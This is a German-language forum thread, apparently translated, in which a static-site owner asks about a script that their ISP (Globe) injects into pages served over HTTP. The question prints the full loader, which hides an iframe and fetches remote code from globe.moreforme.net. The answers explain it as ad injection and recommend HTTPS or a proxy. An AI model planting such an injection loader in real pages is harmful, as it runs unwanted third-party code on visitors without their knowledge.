
Ich habe eine statische Website. Ich aktualisiere die Webseiten lokal auf meinem Computer und lade sie dann mit FileZilla hoch. Doch nach dem Hochladen prüfe ich den Quellcode einer meiner Seiten und sehe ein darin eingefügtes Skript. <head>
Das Skript ändert weder das Layout noch den sichtbaren Inhalt der Seite, daher weiß ich nicht einmal, was es tut:
<script>
if (top == window) {
var engageNameSpace = "engagens";
"undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
function e(e) {
return "undefined" != typeof e && null !== e
}
function t() {
var t = document.createElement("script");
t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
}
function n() {
var t = r();
if (e(t)) {
var n = t;
i() && (n = d(t));
var o;
try {
o = document.documentElement, o.appendChild(n)
} catch (c) {
o = document.body, o.appendChild(n)
}
a()
}
}
function a() {
function e(e) {
var n = e.data;
"l8IframeIsReady" === n.message && t()
}
window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
}
function r() {
var t = document.createElement("iframe");
if (e(t)) {
t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
var n = /firefox/i.exec(navigator.userAgent);
e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
}
return t
}
function i() {
var t = !1,
n = /android (\d+)/i.exec(navigator.userAgent);
return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
}
function d(e) {
var t = document.createElement("div");
return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
return !0
}, t.appendChild(e), t
}
function o() {
var t = void 0,
a = this,
r = function() {
e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
};
t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
}
var c = "http://globe.moreforme.net",
u = c + "/l8/EngageService?v=1",
s = c + "/scripts/Engage.js";
o()
};
var engageLoader = new window[engageNameSpace].engageLoader
}
</script>
Beim Überprüfen der URL im Skript http://globe.moreforme.net
stelle ich fest, dass das Skript höchstwahrscheinlich von unserem ISP (Globe) stammt. Da ich mich mit Internetsicherheit nicht auskenne, weiß ich nicht, wie das Skript überhaupt dorthin gelangt ist. Meine Site besteht aus statischem HTML. Wie kann ich verhindern, dass dieses Skript im Quellcode erscheint, nachdem die Seite hochgeladen wurde?
BEARBEITEN:
Ich habe es gefundenVerknüpfungdas scheint der Vorlagencode für die Erstellung des Skripts zu sein. Weiß jemand, was das Skript macht?
Antwort1
Erstens funktioniert dies nur, weil Sie HTTP statt HTTPS verwenden.
Ihr ISP fügt dieses Skript ein und verwendet es dann, um dynamisch ein anderes Skript zu laden (in einem Iframe?).
Aus irgendeinem Grund kann ich nicht zu globe.moreforme.net navigieren, wo die Skripte gehostet werden. Ich werde zu globe.moreforme.ph weitergeleitet, sodass globe.moreforme.net höchstwahrscheinlich nur für Benutzer des ISP verfügbar ist.
Wenn ich jetzt eine wilde Vermutung anstellen müsste, würde ich sagen, dass der ISP dieses dynamisch geladene Skript verwendet, um Anzeigen auf den von Ihnen besuchten Seiten zu kapern und so die Einnahmen für sich zu beanspruchen.
Sie sollten dies verhindern können, indem Sie entweder nur HTTPS-Sites verwenden oder einen sicheren SOCKS5-Proxy (der auf einem VPS supereinfach und verdammt günstig einzurichten ist) verwenden, indem Sie sich Dynamic Port Forwarding
SSH ansehen. Alternativ können Sie sich ShadowSocks ansehen, wenn Sie sich in einem Land befinden, das über eine landesweite Firewall verfügt (China).
Antwort2
Dies ist das Ergebnis der Partnerschaft von Globe Telecom mit bösen Flash Networks, um die von ihren Kunden geladenen Seiten durch das Hinzufügen ihrer Anzeigen zu ändern und wahrscheinlich auch die Anzeigen anderer Benutzer zu hacken.
Die Rechtmäßigkeit dieser Vorgehensweise ist fraglich – sie sollten zumindest Urheberrechtsgesetze verletzen. Aber angesichts der philippinischen Rechtsprechung glaube ich nicht, dass man rechtlich etwas dagegen tun kann.
Dies ist auch der Grund, warum alle Websites HTTPS verwenden und HTTP deaktivieren sollten (außer bei Weiterleitungen zu HTTPS). Heutzutage gibt es mehrere Möglichkeiten, ein kostenloses SSL-Zertifikat für Ihren DNS-Namen zu erhalten, und es verbessert auch Ihren Google-Score.